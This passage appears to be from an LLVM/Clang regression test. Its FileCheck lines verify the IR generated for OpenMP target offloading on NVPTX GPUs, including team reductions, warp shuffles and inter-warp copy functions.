[[DOTMASTERCHECK:%.*]] // CHECK4: .worker: // CHECK4-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker() #[[ATTR3:[0-9]+]] // CHECK4-NEXT: br label [[DOTEXIT:%.*]] // CHECK4: .mastercheck: // CHECK4-NEXT: [[NVPTX_TID1:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_NUM_THREADS2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE3]], 1 // CHECK4-NEXT: [[TMP3:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS2]], 1 // CHECK4-NEXT: [[TMP4:%.*]] = xor i32 [[TMP2]], -1 // CHECK4-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP3]], [[TMP4]] // CHECK4-NEXT: [[TMP5:%.*]] = icmp eq i32 [[NVPTX_TID1]], [[MASTER_TID]] // CHECK4-NEXT: br i1 [[TMP5]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK4: .master: // CHECK4-NEXT: [[NVPTX_NUM_THREADS4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[THREAD_LIMIT6:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS4]], [[NVPTX_WARP_SIZE5]] // CHECK4-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT6]], i16 1) // CHECK4-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK4-NEXT: [[TMP6:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK4-NEXT: [[TMP7:%.*]] = load double, double* [[TMP0]], align 8 // CHECK4-NEXT: store double [[TMP7]], double* [[E7]], align 8 // CHECK4-NEXT: store i32 [[TMP6]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK4-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E7]]) #[[ATTR3]] // CHECK4-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK4: .termination.notifier: // CHECK4-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: br label [[DOTEXIT]] // CHECK4: .exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@__omp_outlined__ // CHECK4-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK4-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK4-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK4-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK4-NEXT: [[TMP1:%.*]] = load i16, i16* @"_openmp_static_kernel$is_shared", align 2 // CHECK4-NEXT: [[TMP2:%.*]] = load i32, i32* @"_openmp_static_kernel$size", align 4 // CHECK4-NEXT: call void @__kmpc_get_team_static_memory(i16 0, i8* addrspacecast (i8 addrspace(3)* getelementptr inbounds (%"union._shared_openmp_static_memory_type_$_", %"union._shared_openmp_static_memory_type_$_" addrspace(3)* @"_openmp_shared_static_glob_rd_$_", i32 0, i32 0, i32 0) to i8*), i32 [[TMP2]], i16 [[TMP1]], i8** addrspacecast (i8* addrspace(3)* @"_openmp_kernel_static_glob_rd$ptr" to i8**)) // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8* addrspace(3)* @"_openmp_kernel_static_glob_rd$ptr", align 4 // CHECK4-NEXT: [[TMP4:%.*]] = getelementptr inbounds i8, i8* [[TMP3]], i32 0 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to %struct._globalized_locals_ty* // CHECK4-NEXT: [[E1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: store double 0.000000e+00, double* [[E1]], align 8 // CHECK4-NEXT: [[TMP6:%.*]] = load double, double* [[E1]], align 8 // CHECK4-NEXT: [[ADD:%.*]] = fadd double [[TMP6]], 5.000000e+00 // CHECK4-NEXT: store double [[ADD]], double* [[E1]], align 8 // CHECK4-NEXT: [[TMP7:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast double* [[E1]] to i8* // CHECK4-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP12:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK4-NEXT: [[TMP13:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP8]], i8* [[TMP12]], i32 2048, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK4-NEXT: [[TMP14:%.*]] = icmp eq i32 [[TMP13]], 1 // CHECK4-NEXT: br i1 [[TMP14]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK4: .omp.reduction.then: // CHECK4-NEXT: [[TMP15:%.*]] = load double, double* [[TMP0]], align 8 // CHECK4-NEXT: [[TMP16:%.*]] = load double, double* [[E1]], align 8 // CHECK4-NEXT: [[ADD2:%.*]] = fadd double [[TMP15]], [[TMP16]] // CHECK4-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK4-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP8]]) // CHECK4-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK4: .omp.reduction.done: // CHECK4-NEXT: [[TMP17:%.*]] = load i16, i16* @"_openmp_static_kernel$is_shared", align 2 // CHECK4-NEXT: call void @__kmpc_restore_team_static_memory(i16 0, i16 [[TMP17]]) // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK4-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i32 1 // CHECK4-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK4-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK4-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK4-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP18:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK4-NEXT: [[TMP19:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP18]]) // CHECK4-NEXT: store i64 [[TMP19]], i64* [[TMP16]], align 8 // CHECK4-NEXT: [[TMP20:%.*]] = getelementptr i64, i64* [[TMP15]], i32 1 // CHECK4-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP16]], i32 1 // CHECK4-NEXT: [[TMP22:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK4-NEXT: store i8* [[TMP22]], i8** [[TMP11]], align 4 // CHECK4-NEXT: [[TMP23:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK4-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP25:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP26:%.*]] = and i1 [[TMP24]], [[TMP25]] // CHECK4-NEXT: [[TMP27:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK4-NEXT: [[TMP28:%.*]] = and i16 [[TMP6]], 1 // CHECK4-NEXT: [[TMP29:%.*]] = icmp eq i16 [[TMP28]], 0 // CHECK4-NEXT: [[TMP30:%.*]] = and i1 [[TMP27]], [[TMP29]] // CHECK4-NEXT: [[TMP31:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK4-NEXT: [[TMP32:%.*]] = and i1 [[TMP30]], [[TMP31]] // CHECK4-NEXT: [[TMP33:%.*]] = or i1 [[TMP23]], [[TMP26]] // CHECK4-NEXT: [[TMP34:%.*]] = or i1 [[TMP33]], [[TMP32]] // CHECK4-NEXT: br i1 [[TMP34]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP35:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK4-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK4-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP35]], i8* [[TMP36]]) #[[ATTR3]] // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP38:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK4-NEXT: br i1 [[TMP39]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK4: then4: // CHECK4-NEXT: [[TMP40:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP41:%.*]] = load i8*, i8** [[TMP40]], align 4 // CHECK4-NEXT: [[TMP42:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP43:%.*]] = load i8*, i8** [[TMP42]], align 4 // CHECK4-NEXT: [[TMP44:%.*]] = bitcast i8* [[TMP41]] to double* // CHECK4-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP43]] to double* // CHECK4-NEXT: [[TMP46:%.*]] = load double, double* [[TMP44]], align 8 // CHECK4-NEXT: store double [[TMP46]], double* [[TMP45]], align 8 // CHECK4-NEXT: br label [[IFCONT6:%.*]] // CHECK4: else5: // CHECK4-NEXT: br label [[IFCONT6]] // CHECK4: ifcont6: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK4-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK4-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK4-NEXT: br label [[PRECOND:%.*]] // CHECK4: precond: // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = icmp ult i32 [[TMP5]], 2 // CHECK4-NEXT: br i1 [[TMP6]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK4: body: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP8:%.*]] = load i8*, i8** [[TMP7]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = bitcast i8* [[TMP8]] to i32* // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr i32, i32* [[TMP9]], i32 [[TMP5]] // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK4-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP13]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK4: then4: // CHECK4-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK4-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK4-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP17]], i32 [[TMP5]] // CHECK4-NEXT: [[TMP19:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK4-NEXT: store i32 [[TMP19]], i32* [[TMP18]], align 4 // CHECK4-NEXT: br label [[IFCONT6:%.*]] // CHECK4: else5: // CHECK4-NEXT: br label [[IFCONT6]] // CHECK4: ifcont6: // CHECK4-NEXT: [[TMP20:%.*]] = add nsw i32 [[TMP5]], 1 // CHECK4-NEXT: store i32 [[TMP20]], i32* [[DOTCNT_ADDR]], align 4 // CHECK4-NEXT: br label [[PRECOND]] // CHECK4: exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK4-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK4-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK4-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK4-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK4-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK4-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker // CHECK4-SAME: () #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK4-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK4-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK4: .await.work: // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK4-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK4-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK4-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK4-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK4: .select.workers: // CHECK4-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK4-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK4-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK4: .execute.parallel: // CHECK4-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // 